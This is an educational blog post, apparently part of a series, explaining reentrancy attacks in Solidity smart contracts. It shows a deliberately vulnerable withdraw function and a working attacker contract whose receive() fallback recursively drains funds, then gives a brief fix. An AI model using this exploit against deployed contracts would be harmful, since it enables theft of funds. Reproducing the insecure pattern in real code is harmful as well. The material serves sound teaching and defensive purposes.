What's Reentrancy Attack in Smart Contracts
51 Common Vulnerabilities in Solidity Smart Contracts (Part 1 of 51)
Introduction
Smart contract vulnerabilities have led to significant losses in decentralized finance (DeFi) and other blockchain-based applications. Understanding these vulnerabilities at the EVM level can help developers write safer code and avoid some of the most common pitfalls. This post explores several well-known vulnerabilities in Solidity, explains why they happen at the EVM level, and includes code snippets to illustrate each concept.
1. Reentrancy Attacks
Overview: A reentrancy attack occurs when an external contract calls back into the vulnerable contract before the initial function call is completed. This can be used to drain funds by calling functions repeatedly before the state is updated.
EVM Explanation: In the EVM, transactions can invoke external calls before completing their execution. If a vulnerable contract does not update its state before making an external call, it can be called repeatedly within the same transaction.
Vulnerable Contract
in the code below, the receive
function is triggered each time the attacker contract receives funds, enabling recursive calls to withdraw
before the vulnerable contract updates the balance, leading to a complete drain of the funds.
// Vulnerable Contract
contract Vulnerable {
mapping(address => uint) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public {
require(balances[msg.sender] > 0, "Insufficient balance");
// Vulnerable: External call made before state update
(bool success, ) = msg.sender.call{value: balances[msg.sender]}("");
require(success, "Transfer failed");
balances[msg.sender] = 0; // State update after external call
}
}
Exploitation Code: An attacker contract can use this vulnerability to call withdraw
multiple times before balances[msg.sender]
is set to zero, draining all funds from the contract.
contract ReentrancyAttack {
Vulnerable public vulnerableContract;
constructor(address _vulnerableContract) {
vulnerableContract = Vulnerable(_vulnerableContract);
}
// Fallback function to repeatedly call withdraw
receive() external payable {
if (address(vulnerableContract).balance > 0) {
vulnerableContract.withdraw();
}
}
function attack() public payable {
require(msg.value >= 1 ether, "Requires at least 1 ether to attack");
vulnerableContract.deposit{value: 1 ether}();
vulnerableContract.withdraw(); // Initial withdrawal, triggers fallback
}
}
solution: Move the state update (balances[msg.sender] = 0;
) before the external call.